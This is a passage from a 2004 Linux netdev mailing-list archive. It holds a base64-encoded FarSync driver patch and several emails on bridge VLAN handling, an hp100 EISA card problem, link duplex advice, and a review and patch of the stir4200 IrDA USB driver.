aW50a19lcnIgKCJVbmFibGUgdG8gcmVnaXN0ZXIgaW50ZXJydXB0ICVkXG4iLCBjYXJkLT5pcnEg KTsKLSAgICAgICAgICAgICAgICBlcnIgPSAtRU5PREVWOwotICAgICAgICAgICAgICAgIGdvdG8g ZXJyb3JfdW5tYXBfY3RsbWVtOwotICAgICAgICB9Ci0KLSAgICAgICAgLyogUmVjb3JkIGRyaXZl ciBkYXRhIGZvciBsYXRlciB1c2UgKi8KLSAgICAgICAgcGNpX3NldF9kcnZkYXRhKHBkZXYsIGNh cmQpOwotCi0gICAgICAgIC8qIFJlbWFpbmRlciBvZiBjYXJkIHNldHVwICovCi0gICAgICAgIGZz dF9pbml0X2NhcmQgKCBjYXJkICk7Ci0KLSAgICAgICAgcmV0dXJuIDA7ICAgICAgICAgICAgICAg ICAgICAgICAvKiBTdWNjZXNzICovCi0KLQotICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIC8qIEZhaWx1cmUuIFJlbGVhc2UgcmVzb3VyY2VzICovCi1lcnJvcl91bm1hcF9j dGxtZW06Ci0gICAgICAgIGlvdW5tYXAgKCBjYXJkLT5jdGxtZW0gKTsKLQotZXJyb3JfdW5tYXBf bWVtOgotICAgICAgICBpb3VubWFwICggY2FyZC0+bWVtICk7Ci0KLWVycm9yX3JlbGVhc2VfY3Rs bWVtOgotICAgICAgICByZWxlYXNlX21lbV9yZWdpb24gKCBjYXJkLT5waHlzX2N0bG1lbSwgMHgx MCApOwotCi1lcnJvcl9yZWxlYXNlX21lbToKLSAgICAgICAgcmVsZWFzZV9tZW1fcmVnaW9uICgg Y2FyZC0+cGh5c19tZW0sIEZTVF9NRU1TSVpFICk7Ci0KLWVycm9yX3JlbGVhc2VfaW86Ci0gICAg ICAgIHJlbGVhc2Vf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gICAgICAgICAgLyogRGVidWcg ZmxhZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHJhbnNwYXJlbnRNb2RlOyAvKiBOb3Qg dXNlZCBhbHdheXMgMCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpbnZlcnRDbG9jazsgICAg IC8qIEludmVydCBjbG9jayBmZWF0dXJlIGZvciBzeW5jaW5nICovCisgICAgICAgIHVuc2lnbmVk IGNoYXIgIHN0YXJ0aW5nU2xvdDsgICAgLyogVGltZSBzbG90IHRvIHVzZSBmb3Igc3RhcnQgb2Yg dHggKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgY2xvY2tTb3VyY2U7ICAgICAvKiBFeHRlcm5h bCBvciBpbnRlcm5hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBmcmFtaW5nOyAgICAgICAg IC8qIEUxLCBUMSBvciBKMSAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBzdHJ1Y3R1cmU7ICAg ICAgIC8qIHVuZnJhbWVkLCBkb3VibGUsIGNyYzQsIGY0LCBmMTIsICovCisgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgLyogZjI0IGY3MiAqLworICAgICAgICB1bnNpZ25l ZCBjaGFyICBpbnRlcmZhY2U7ICAgICAgIC8qIHJqNDhjIG9yIGJuYyAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICBjb2Rpbmc7ICAgICAgICAgIC8qIGhkYjMgYjh6cyAqLworICAgICAgICB1bnNp Z25lZCBjaGFyICBsaW5lQnVpbGRPdXQ7ICAgIC8qIDAsIC03LjUsIC0xNSwgLTIyICovCisgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGVxdWFsaXplcjsgICAgICAgLyogc2hvcnQgb3IgbG9uIGhhdWwg c2V0dGluZ3MgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgbG9vcE1vZGU7ICAgICAgICAvKiB2 YXJpb3VzIGxvb3BiYWNrcyAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICByYW5nZTsgICAgICAg ICAgIC8qIGNhYmxlIGxlbmd0aHMgKi8KKyAgICAgICAgdW5zaWduZWQgY2hhciAgdHhCdWZmZXJN b2RlOyAgICAvKiB0eCBlbGFzdGljIGJ1ZmZlciBkZXB0aCAqLworICAgICAgICB1bnNpZ25lZCBj aGFyICByeEJ1ZmZlck1vZGU7ICAgIC8qIHJ4IGVsYXN0aWMgYnVmZmVyIGRlcHRoICovCisgICAg ICAgIHVuc2lnbmVkIGNoYXIgIGxvc1RocmVzaG9sZDsgICAgLyogQXR0ZW51YXRpb24gb24gTE9T IHNpZ25hbCAqLworICAgICAgICB1bnNpZ25lZCBjaGFyICBpZGxlQ29kZTsgICAgICAgIC8qIFZh bHVlIHRvIHNlbmQgYXMgaWRsZSB0aW1lc2xvdCAqLworICAgICAgICB1bnNpZ25lZCBpbnQgICBy ZWNlaXZlQnVmZmVyRGVsYXk7IC8qIGRlbGF5IHRocm8gcnggYnVmZmVyIHRpbWVzbG90cyAqLwor ICAgICAgICB1bnNpZ25lZCBpbnQgICBmcmFtaW5nRXJyb3JDb3VudDsgLyogZnJhbWluZyBlcnJv cnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY29kZVZpb2xhdGlvbkNvdW50OyAvKiBjb2Rl IHZpb2xhdGlvbnMgKi8KKyAgICAgICAgdW5zaWduZWQgaW50ICAgY3JjRXJyb3JDb3VudDsgICAv KiBDUkMgZXJyb3JzICovCisgICAgICAgIGludCAgICAgICAgICAgIGxpbmVBdHRlbnVhdGlvbjsg LyogaW4gZEIqLworICAgICAgICB1bnNpZ25lZCBzaG9ydCBsb3NzT2ZTaWduYWw7CisgICAgICAg IHVuc2lnbmVkIHNob3J0IHJlY2VpdmVSZW1vdGVBbGFybTsKKyAgICAgICAgdW5zaWduZWQgc2hv cnQgYWxhcm1JbmRpY2F0aW9uU2lnbmFsOwogfTsKIAogLyogInZhbGlkIiBiaXRtYXNrICovCkBA IC0xMzEsMTMgKzE2MiwyMyBAQAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAqLwogI2RlZmluZSBGU1RWQUxfUFJPVE8gICAgMHgwMDAwMDIwMCAgICAgIC8qIHByb3Rv ICovCiAjZGVmaW5lIEZTVFZBTF9NT0RFICAgICAweDAwMDAwNDAwICAgICAgLyogY2FyZE1vZGUg Ki8KKyNkZWZpbmUgRlNUVkFMX1BIQVNFICAgIDB4MDAwMDA4MDAgICAgICAvKiBDbG9jayBwaGFz ZSAqLworI2RlZmluZSBGU1RWQUxfVEUxICAgICAgMHgwMDAwMTAwMCAgICAgIC8qIFQxRTEgQ29u ZmlndXJhdGlvbiAqLwogI2RlZmluZSBGU1RWQUxfREVCVUcgICAgMHg4MDAwMDAwMCAgICAgIC8q IGRlYnVnICovCi0jZGVmaW5lIEZTVFZBTF9BTEwgICAgICAweDAwMDAwN0ZGICAgICAgLyogTm90 ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFnICovCisjZGVmaW5lIEZTVFZBTF9BTEwgICAg ICAweDAwMDAxRkZGICAgICAgLyogTm90ZTogZG9lcyBub3QgaW5jbHVkZSBERUJVRyBmbGFnICov CiAKIC8qICJ0eXBlIiAqLwogI2RlZmluZSBGU1RfVFlQRV9OT05FICAgMCAgICAgICAgICAgICAg IC8qIFByb2JhYmx5IHNob3VsZCBuZXZlciBoYXBwZW4gKi8KICNkZWZpbmUgRlNUX1RZUEVfVDJQ ICAgIDEgICAgICAgICAgICAgICAvKiBUMlAgWDIxIDIgcG9ydCBjYXJkICovCiAjZGVmaW5lIEZT VF9UWVBFX1Q0UCAgICAyICAgICAgICAgICAgICAgLyogVDRQIFgyMSA0IHBvcnQgY2FyZCAqLwor I2RlZmluZSBGU1RfVFlQRV9UMVUgICAgMyAgICAgICAgICAgICAgIC8qIFQxVSBYMjEgMSBwb3J0 IGNhcmQgKi8KKyNkZWZpbmUgRlNUX1RZUEVfVDJVICAgIDQgICAgICAgICAgICAgICAvKiBUMlUg WDIxIDIgcG9ydCBjYXJkICovCisjZGVmaW5lIEZTVF9UWVBFX1Q0VSAgICA1ICAgICAgICAgICAg ICAgLyogVDRVIFgyMSA0IHBvcnQgY2FyZCAqLworI2RlZmluZSBGU1RfVFlQRV9URTEgICAgNiAg ICAgICAgICAgICAgIC8qIFQxRTEgWDIxIDEgcG9ydCBjYXJkICovCisKKy8qICJmYW1pbHkiICov CisjZGVmaW5lIEZTVF9GQU1JTFlfVFhQICAwICAgICAgICAgICAgICAgLyogVDJQIG9yIFQ0UCAq LworI2RlZmluZSBGU1RfRkFNSUxZX1RYVSAgMSAgICAgICAgICAgICAgIC8qIFQxVSBvciBUMlUg b3IgVDRVICovCiAKIC8qICJzdGF0ZSIgKi8KICNkZWZpbmUgRlNUX1VOSU5JVCAgICAgIDAgICAg ICAgICAgICAgICAvKiBSYXcgdW5pbml0aWFsaXNlZCBzdGF0ZSBmb2xsb3dpbmcKQEAgLTE1NSw2 ICsxOTYsMTAgQEAKICNkZWZpbmUgVjI0ICAgICAgICAgICAgIDEKICNkZWZpbmUgWDIxICAgICAg ICAgICAgIDIKICNkZWZpbmUgVjM1ICAgICAgICAgICAgIDMKKyNkZWZpbmUgWDIxRCAgICAgICAg ICAgIDQKKyNkZWZpbmUgVDEgICAgICAgICAgICAgIDUKKyNkZWZpbmUgRTEgICAgICAgICAgICAg IDYKKyNkZWZpbmUgSjEgICAgICAgICAgICAgIDcKIAogLyogInByb3RvIiAqLwogI2RlZmluZSBG U1RfSERMQyAgICAgICAgMSAgICAgICAgICAgICAgIC8qIENpc2NvIGNvbXBhdGlibGUgSERMQyAq LwpAQCAtMTg3LDYgKzIzMiw5NyBAQAogLyogImNhcmRNb2RlIiBiaXRtYXNrICovCiAjZGVmaW5l IENBUkRfTU9ERV9JREVOVElGWSAgICAgIDB4MDAwMQogCisvKiAKKyAqIENvbnN0YW50cyBmb3Ig VDEvRTEgY29uZmlndXJhdGlvbgorICovCisKKy8qCisgKiBDbG9jayBzb3VyY2UKKyAqLworI2Rl ZmluZSBDTE9DS0lOR19TTEFWRSAgICAgICAwCisjZGVmaW5lIENMT0NLSU5HX01BU1RFUiAgICAg IDEKKworLyoKKyAqIEZyYW1pbmcKKyAqLworI2RlZmluZSBGUkFNSU5HX0UxICAgICAgICAgICAw CisjZGVmaW5lIEZSQU1JTkdfSjEgICAgICAgICAgIDEKKyNkZWZpbmUgRlJBTUlOR19UMSAgICAg ICAgICAgMgorCisvKgorICogU3RydWN0dXJlCisgKi8KKyNkZWZpbmUgU1RSVUNUVVJFX1VORlJB TUVEICAgMAorI2RlZmluZSBTVFJVQ1RVUkVfRTFfRE9VQkxFICAxCisjZGVmaW5lIFNUUlVDVFVS RV9FMV9DUkM0ICAgIDIKKyNkZWZpbmUgU1RSVUNUVVJFX0UxX0NSQzRNICAgMworI2RlZmluZSBT VFJVQ1RVUkVfVDFfNCAgICAgICA0CisjZGVmaW5lIFNUUlVDVFVSRV9UMV8xMiAgICAgIDUKKyNk ZWZpbmUgU1RSVUNUVVJFX1QxXzI0ICAgICAgNgorI2RlZmluZSBTVFJVQ1RVUkVfVDFfNzIgICAg ICA3CisKKy8qCisgKiBJbnRlcmZhY2UKKyAqLworI2RlZmluZSBJTlRFUkZBQ0VfUko0OEMgICAg ICAwCisjZGVmaW5lIElOVEVSRkFDRV9CTkMgICAgICAgIDEKKworLyoKKyAqIENvZGluZworICov CisKKyNkZWZpbmUgQ09ESU5HX0hEQjMgICAgICAgICAgMAorI2RlZmluZSBDT0RJTkdfTlJaICAg ICAgICAgICAxCisjZGVmaW5lIENPRElOR19DTUkgICAgICAgICAgIDIKKyNkZWZpbmUgQ09ESU5H X0NNSV9IREIzICAgICAgMworI2RlZmluZSBDT0RJTkdfQ01JX0I4WlMgICAgICA0CisjZGVmaW5l IENPRElOR19BTUkgICAgICAgICAgIDUKKyNkZWZpbmUgQ09ESU5HX0FNSV9aQ1MgICAgICAgNgor I2RlZmluZSBDT0RJTkdfQjhaUyAgICAgICA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SV9ERVZJQ0VfSURfRkFSU0lURV9UMVUg ICAgICAgMHgwNjEwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UMlUgICAgICAgMHgw NjIwCisjZGVmaW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9UNFUgICAgICAgMHgwNjQwCisjZGVm aW5lIFBDSV9ERVZJQ0VfSURfRkFSU0lURV9URTEgICAgICAgMHgxNjEwCisjZGVmaW5lIFBDSV9E RVZJQ0VfSURfRkFSU0lURV9URTFDICAgICAgMHgxNjEyCisKICNkZWZpbmUgUENJX1ZFTkRPUl9J RF9BTFRJTUEJCTB4MTczYgogI2RlZmluZSBQQ0lfREVWSUNFX0lEX0FMVElNQV9BQzEwMDAJMHgw M2U4CiAjZGVmaW5lIFBDSV9ERVZJQ0VfSURfQUxUSU1BX0FDMTAwMQkweDAzZTkK ------_=_NextPart_001_01C3FF94.E3FBAD9A-- From jgarzik@pobox.com Mon Mar 1 10:45:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 10:45:40 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21IjZKO020532 for ; Mon, 1 Mar 2004 10:45:36 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:2406 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AxsQ1-0004fH-LB; Mon, 01 Mar 2004 18:45:33 +0000 Message-ID: <404384C1.1040700@pobox.com> Date: Mon, 01 Mar 2004 13:45:21 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: mzyngier@freesurf.fr CC: pawel.sokolowski@muflon.linux.pl, netdev@oss.sgi.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3687 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From bdschuym@pandora.be Mon Mar 1 11:20:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 11:21:02 -0800 (PST) Received: from elektra.telenet-ops.be (elektra.telenet-ops.be [195.130.132.49]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21JKlKO021526 for ; Mon, 1 Mar 2004 11:20:48 -0800 Received: from localhost (apate.telenet-ops.be [195.130.132.57]) by elektra.telenet-ops.be (Postfix) with SMTP id 4996033EAC; Mon, 1 Mar 2004 19:47:40 +0100 (MET) Received: from 192.168.0.138 (D5762B56.kabel.telenet.be [213.118.43.86]) by apate.telenet-ops.be (Postfix) with ESMTP id 9A6F337EA5; Mon, 1 Mar 2004 19:47:39 +0100 (MET) From: Bart De Schuymer To: "David S. Miller" Subject: Re: [PATCH] 2.6.3 fix vlan-encapsulated fragmented IP traffic Date: Mon, 1 Mar 2004 19:47:51 +0100 User-Agent: KMail/1.5 Cc: ebtables-devel@lists.sourceforge.net, netdev@oss.sgi.com References: <200402291914.53578.bdschuym@pandora.be> <200403010806.29759.bdschuym@pandora.be> <20040301003525.522d6db2.davem@redhat.com> In-Reply-To: <20040301003525.522d6db2.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403011947.51621.bdschuym@pandora.be> X-archive-position: 3688 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev Content-Length: 1898 Lines: 36 On Monday 01 March 2004 09:35, David S. Miller wrote: > Let us say that on input, br strips the 4 bytes as you say, iptables looks > at the thing and rewrites the IP source/destination address or whatever, > and this causes the packet to actually get forwarded out via a different IP > route, and let us say that this new IP route causes the packet to go out > via an IPIP tunnel device, which must do all the same kind of crap the code > you're patching here does, that is determine the LL header size etc. in > order to make sure there is enough headroom to slap on the new IP > encapsulating header. > > If you can show that this kind of scenerio would never be generated in the > cases where br-netfilter is involved, then fine. The IPIP code does dev->hard_header_len=LL_MAX_HEADER+sizeof(struct iphdr); so there's no problem there because the macro LL_RESERVED_SPACE uses that value. There should never be a problem like that with routing. When routing IP packets, skb->protocol will always be set to ETH_P_IP, so nf_bridge_pad doesn't do anything. Obviously, adding a normal Ethernet device and, say, a vlan-enabled device as bridge ports of the same bridge is bound to give problems because full Ethernet frames will arrive on the normal device and there's no room to insert a vlan header before sending them onto the vlan-enabled port. For IP packets we might be able to fix this when ip_conntrack is loaded by using fragmenting, but I don't think this currently works. I'll have to experiment. Note that changing the IP destination in a vlan-embedded packet makes the bridge code pass the packet up to higher layers (unless it can still be bridged), but the vlan header is not yet stripped. So only if the bridge device itself is vlan-enabled, will the packet be able to be routed. But first the vlan tag will be stripped (by the vlan-enabled bridge device). cheers, Bart From vda@port.imtp.ilyichevsk.odessa.ua Mon Mar 1 14:13:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 14:14:08 -0800 (PST) Received: from port.imtp.ilyichevsk.odessa.ua (168.imtp.Ilyichevsk.Odessa.UA [195.66.192.168] (may be forged)) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21MDmKO028020 for ; Mon, 1 Mar 2004 14:13:52 -0800 Received: (qmail 12527 invoked by alias); 1 Mar 2004 22:01:54 -0000 Received: from unknown (1.0.3.9) by 0 (195.66.192.168) with ESMTP; 01 Mar 2004 22:01:54 -0000 From: Denis Vlasenko To: "john" , Andrewm@uow.edu.au, netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: Problems getting a stable 100 megabit connection with linksys etherfast switch Date: Tue, 2 Mar 2004 00:01:47 +0200 User-Agent: KMail/1.5.4 References: <20040229212053.M47845@spots.ca> In-Reply-To: <20040229212053.M47845@spots.ca> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200403020001.48026.vda@port.imtp.ilyichevsk.odessa.ua> X-archive-position: 3690 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vda@port.imtp.ilyichevsk.odessa.ua Precedence: bulk X-list: netdev Content-Length: 717 Lines: 22 On Sunday 29 February 2004 23:30, john wrote: > Hi, > > I am having problems getting a stable connection with my linux machines > when trying to connect them at 100 megabit speeds to a linksys etherfast > switch. > > > I have attached some diagnostic outputs for your review. I hope that > someone can help me with this problem. > > I believe using a managed switch will solve the problem, but I don't want > to have to spend $1000.00 to fix this problem, when I should be able to > obtain a stable connection with the equipment I am currently using. Try half duplex. You seldom do lots of xfers in both directions at once, so half duplex is not a big loss. Use tcpdump to see what's going on on the wire. -- vda From falcon@muflon.linux.pl Mon Mar 1 15:04:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 15:04:24 -0800 (PST) Received: from don.falconne.eu.org (postfix@pc74.torun.sdi.tpnet.pl [213.25.214.74]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i21N4KKO029271 for ; Mon, 1 Mar 2004 15:04:20 -0800 Received: from localhost (localhost [127.0.0.1]) by don.falconne.eu.org (Postfix) with ESMTP id 8B5D51BB8D9A; Tue, 2 Mar 2004 00:04:11 +0100 (CET) Received: from don.falconne.eu.org ([127.0.0.1]) by localhost (don.falconne.eu.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27704-08; Tue, 2 Mar 2004 00:04:11 +0100 (CET) Received: from pc74.torun.sdi.tpnet.pl (pc74.torun.sdi.tpnet.pl [213.25.214.74]) by don.falconne.eu.org (Postfix) with ESMTP id 611B11BB8D99; Tue, 2 Mar 2004 00:04:11 +0100 (CET) Date: Tue, 2 Mar 2004 00:04:11 +0100 (CET) From: Pawel Sokolowski X-X-Sender: falcon@don.falconne.eu.org Reply-To: pawel.sokolowski@muflon.linux.pl To: Marc Zyngier Cc: netdev@oss.sgi.com Subject: Re: 2.6.4-rc1 + hp100 EISA, not working In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-2 X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at don.falconne.eu.org Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i21N4KKO029271 X-archive-position: 3691 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: falcon@muflon.linux.pl Precedence: bulk X-list: netdev Content-Length: 1560 Lines: 36 I've seen things you people wouldn't believe. You writing: >Pawel> I don't know if it's related to this problem but at earlier stage of >Pawel> booting I'm getting following messages: >Pawel> EISA: Probing bus 0 at eisa0 >Pawel> EISA: Mainboard HWPC061 detected. >Pawel> EISA: slot 2 : HWP1940 detected (disabled). >Pawel> EISA: Detected 1 card. >Try passing 'eisa_bus.enable_dev=2' to your kernel parameters. Your >card is tagged as unconfigured by BIOS, and thus is skipped by the >probing logic. See Documentation/eisa.txt for details. This machine has RAM BIOS booted from floppy. I ran it and EISA configure utility to check this once more. Card is enabled and not locked. I added eisa_bus.enable_dev=2 parameter but it didn't help much. I'm getting: EISA: Probing bus 0 at eisa0 EISA: Mainboard HWPC061 detected. EISA: slot 2 : HWP1940 detected (forced enabled). EISA: Detected 1 card. I added this final entry you mailed but nothing changed. Still - module loads and unloads cleanly and without any warnings on 2.6.4-rc1. But does nothing - not a single line in logs/dmesg after it's loaded. Card does not work after modprobe, I can't get interface up. If you need more details or some config files, please, let me know. -- ,d$$$$$P.d$$b d$P ,gd$$$$$,gd$$$$g. ,$$$b._$$P RLU #172534 ggggggggggggg. ggs ,gg ,gg ,gg ggp,ggggg Pawe³ Soko³owski d$P""""'""""Y$$. d$P d$P d$P ,d$Pd$P `Y$$P falcon@muflon.linux.pl d$P Y$$d$$$$$P`Y$$$$$'`Y$$$$$P'd$P d$P Replicant (M) Des: Falcon From lists@mdiehl.de Mon Mar 1 16:47:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Mar 2004 16:47:15 -0800 (PST) Received: from bart.webpack.hosteurope.de (bart.one-2-one.net [217.115.142.76]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i220l7KO002757 for ; Mon, 1 Mar 2004 16:47:10 -0800 Received: from notebook.home.mdiehl.de (pD9E949D9.dip0.t-ipconnect.de [217.233.73.217]) (authenticated) by bart.webpack.hosteurope.de (8.11.6/8.11.6) with ESMTP id i21NI4v29513; Tue, 2 Mar 2004 00:18:05 +0100 Received: from notebook.home.mdiehl.de (localhost.localdomain [127.0.0.1]) by notebook.home.mdiehl.de (8.12.1/8.12.1) with ESMTP id i21NMM5E001721; Tue, 2 Mar 2004 00:22:23 +0100 Received: from localhost (martin@localhost) by notebook.home.mdiehl.de (8.12.1/8.12.1/Submit) with ESMTP id i21NML15001718; Tue, 2 Mar 2004 00:22:22 +0100 X-Authentication-Warning: notebook.home.mdiehl.de: martin owned process doing -bs Date: Tue, 2 Mar 2004 00:22:21 +0100 (CET) From: Martin Diehl X-X-Sender: martin@notebook.home.mdiehl.de To: Stephen Hemminger cc: Jean Tourrilhes , Subject: Re: [RFT] stir4200 - new version In-Reply-To: <20040227154452.680613b7@dell_ss3.pdx.osdl.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3692 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lists@mdiehl.de Precedence: bulk X-list: netdev Content-Length: 7649 Lines: 276 On Fri, 27 Feb 2004, Stephen Hemminger wrote: > Here is the latest stir4200 driver for testing. The diff is against 2.6.3-bk9. Thanks Stephen, some feedback here, while we are fighting with the usb-issues... > The major change is getting rid of using the receive interrupt pipe. > I could never get it to work reliably with FIR; it would miss frames. > Performance is way better. Agreed, I get better performance too. I still believe the interrupt rx-urb would be the better approach due to the latencies. The bulk-urb resubmitted by a timer needs: 1 msec for submission + up to 2 msec for completion (uhci) + poll-timer delay + timer latency. Even with HZ=1000 I believe it's not possible to guarantee a min poll rate < 4 msec. At FIR with a lot of transparency-escapes the fifo get filled at a rate of 1MB/sec so it might be overrun meanwhile. Maybe some double-buffering would help... > Still not reliable in FIR with large packet sizes.. Yep, I don't see some significant change wrt. to the FIFO stalls/lockups. Additionally, the new issues with ohci-hcd are now - let's see... > + if (isfir(speed)) > + len = STIR_IRDA_HEADER + 16 + 2 + 2*skb->len + 8 + 2; > + else > + len = STIR_IRDA_HEADER + 163 + 2*skb->len + 4 + 1; off-by-one: in SIR there is also a BOF between the XBOF and data > + nskb = dev_alloc_skb(len); > + if (likely(nskb)) { > + if (isfir(speed)) > + len = wrap_fir_skb(skb, nskb->data); > + else > + len = wrap_sir_skb(skb, nskb->data, len); > + > + skb_put(nskb, len); IMHO the tx-skb for wrapped data doesn't work: skb->data will be used as usb transfer buffer. However, usb-rules are the transfer buffer must be a separate kmalloc-entity, because we need to have it both physically continous and cacheline-aligned. I don't think the second promision is held by skb->data due to headroom f.e.? > +static int fifo_txwait(struct stir_cb *stir, int space) > { > __u8 regs[3]; [...] > + /* Read FIFO status and count */ > + while ((err = read_reg(stir, REG_FIFOCTL, regs, 3)) == 3) { This breakes with usb. The regs argument is used as data buffer in usb_control_msg - so we would end up doing DMA to the stack. We need a separate kmalloc-object here. > [stir_trasnmit_thread] > > } > > complete_and_exit (&stir->thr_exited, 0); AFAICS we are racing with the poll-timer here which might resubmit the rx-urb. IMHO calling receive_stop before completing should do the job. Below my current patch which I'm using on top of your version. I've done some perfomrance/stability testing with ohci/ehci. SIR seems just fine like it was with the last version. FIR performance is definedly faster, but I don't yet understand why. Still lots of fifo lockups. But if it's working it's rather good now: about 200KB/s tx and up to 350 KB/s rx, with 2KB frames and window=7 - provided it doesn't stop in the middle ;-) Martin ------------------------- --- v2.6.3-bk9-md/drivers/net/irda/stir4200.c.sh-20040227 Sat Feb 28 20:02:44 2004 +++ v2.6.3-bk9-md/drivers/net/irda/stir4200.c Mon Mar 1 21:41:13 2004 @@ -323,13 +323,15 @@ static unsigned wrap_sir_skb(struct sk_b /* * Take raw data and encapsulate as appropriate into - * a new socket buffer. + * a new tx buffer and give it back to the caller. */ -static struct sk_buff *wrap_skb(struct sk_buff *skb, unsigned speed) +static u8 *wrap_skb(struct sk_buff *skb, unsigned speed, int *wraplen) { - struct sk_buff *nskb; + u8 *tx_buff; unsigned len; + *wraplen = 0; + /* * need enough space for worst case * In addition to the stir-header we need 1 byte for each BOF+EOF @@ -343,19 +345,17 @@ static struct sk_buff *wrap_skb(struct s if (isfir(speed)) len = STIR_IRDA_HEADER + 16 + 2 + 2*skb->len + 8 + 2; else - len = STIR_IRDA_HEADER + 163 + 2*skb->len + 4 + 1; + len = STIR_IRDA_HEADER + 163 + 1 + 2*skb->len + 4 + 1; - nskb = dev_alloc_skb(len); - if (likely(nskb)) { + tx_buff = kmalloc(len, GFP_KERNEL); + if (likely(tx_buff)) { if (isfir(speed)) - len = wrap_fir_skb(skb, nskb->data); + *wraplen = wrap_fir_skb(skb, tx_buff); else - len = wrap_sir_skb(skb, nskb->data, len); - - skb_put(nskb, len); + *wraplen = wrap_sir_skb(skb, tx_buff, len); } - return nskb; + return tx_buff; } /* @@ -643,7 +643,14 @@ static int stir_hard_xmit(struct sk_buff static int fifo_txwait(struct stir_cb *stir, int space) { int err; - __u8 regs[3]; + u8 *regs; + + regs = kmalloc(3, GFP_KERNEL); + if (regs == NULL) { + /* low on memory - just wait one whole 500ms window */ + mdelay(500); + return -ENOMEM; + } /* Read FIFO status and count */ while ((err = read_reg(stir, REG_FIFOCTL, regs, 3)) == 3) { @@ -665,40 +672,46 @@ static int fifo_txwait(struct stir_cb *s goto clear_fifo; } + err = 0; + /* is fifo receiving already, or empty */ if (!(regs[0] & FIFOCTL_DIR) || (regs[0] & FIFOCTL_EMPTY)) - return 0; + goto out; - if (signal_pending(current)) - return -EINTR; + if (signal_pending(current)) { + err = -EINTR; + goto out; + } /* shutting down? */ if (!netif_running(stir->netdev) - || !netif_device_present(stir->netdev)) - return -ESHUTDOWN; + || !netif_device_present(stir->netdev)) { + err = -ESHUTDOWN; + goto out; + } /* only waiting for some space */ if (space >= 0 && STIR_FIFO_SIZE - 4 > space + count) - return 0; + goto out; /* estimate transfer time for remaining chars */ wait_ms((count * 8000) / stir->speed); } warn("%s: FIFO register read error: %d", stir->netdev->name, err); - - return err; + goto out; clear_fifo: err = write_reg(stir, REG_FIFOCTL, FIFOCTL_CLR); if (err) - return err; + goto out; err = write_reg(stir, REG_FIFOCTL, 0); - if (err) - return err; - return 0; +out: + kfree(regs); + + return err; } @@ -765,37 +778,44 @@ static void receive_stop(struct stir_cb stir->stats.collisions++; } /* - * Wrap data in socket buffer and send it. + * Wrap data from skb to usb transmit buffer and send it. */ static void stir_send(struct stir_cb *stir, struct sk_buff *skb) { - struct sk_buff *wskb = wrap_skb(skb, stir->speed); + u8 *tx_buff; + int wraplen; - if (unlikely(!wskb)) { + tx_buff = wrap_skb(skb, stir->speed, &wraplen); + + if (unlikely(!tx_buff)) { stir->stats.tx_errors++; return; } + if (unlikely(wraplen < STIR_IRDA_HEADER)) + goto out; + /* if receiving, need to 